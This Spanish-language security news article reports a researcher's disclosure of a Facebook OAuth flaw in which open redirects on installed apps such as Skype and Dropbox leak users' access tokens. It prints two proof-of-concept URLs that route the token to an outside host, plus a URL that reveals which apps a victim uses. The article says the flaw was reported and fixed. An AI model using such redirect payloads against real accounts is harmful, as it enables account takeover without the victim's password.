En publicaciones recientes, el hacker de Facebook 'Nir Goldshlager' expuso dos graves defectos de Facebook OAuth: el hackeo de una cuenta de Facebook incluso sin que el usuario instale una aplicación en su cuenta y diversas maneras para evadir las protecciones regulares en Facebook OAuth.

Esta vez, Nir ilustra el escenario de ataque :“lo que sucede cuando una aplicación está instalada en la cuenta de la víctima y cómo un atacante puede manipularla tan fácilmente.” Según el hacker, si la víctima tiene instalada una aplicación como Skype o Dropbox, el atacante es capaz de tomar el  control sobre sus cuentas.

Para esto, un atacante solo necesita una redirección url o vulnerabilidad de cross site scripting sobre el propio dominio IE de aplicación Facebook, en este caso estamos hablando de Skype o de alguna aplicación de Facebook. En muchos programas de recompensa de errores, la redirección URL no se considera como una vulnerabilidad válida en el programa Google Bug.

Nir también demostró que un atacante es capaz de tener conocimiento de la aplicación que sus víctimas están utilizando. Ejemplo de url: https://www.facebook.com/ajax/browser/dialog/friends_using_app-app_id=260273468396&__asyncDialog=2&__a=1&__req=m

Continuando con el método de hacking utilizado en los últimos dos fallos de OAuth ( mencionado aquí ), esta vez el ataque trata de utilizar la falla de redirección de la aplicación en "redirect_uri, next" para robar el access_token de usuarios de Facebook. 

POC  (Usando la aplicación Skype): https://www.facebook.com/dialog/permissions.request-app_id=260273468396&display=page&next=http://metrics.skype.com/b/ss/skypeglobalmobile/5.4/REDIR-url=http://files.nirgoldshlager.com&response_type=token&fbconnect=1

POC (Usando la aplicación de Dropbox): https://www.facebook.com/dialog/permissions.request-app_id=210019893730&display=page&next=https://www.dropbox.com/u/68182951/redirect3.html&response_type=token&perms=email&fbconnect=1

El propósito del hacker es sólo robar a la víctima el  access_token  mediante el uso de los fallos de Facebook OAuth, para que pueda tomar el control total sobre la cuenta de la víctima sin conocer su contraseña.

 Nota: El fallo fue reportado al equipo de seguridad de Facebook por Nir Goldshlager y Fixed.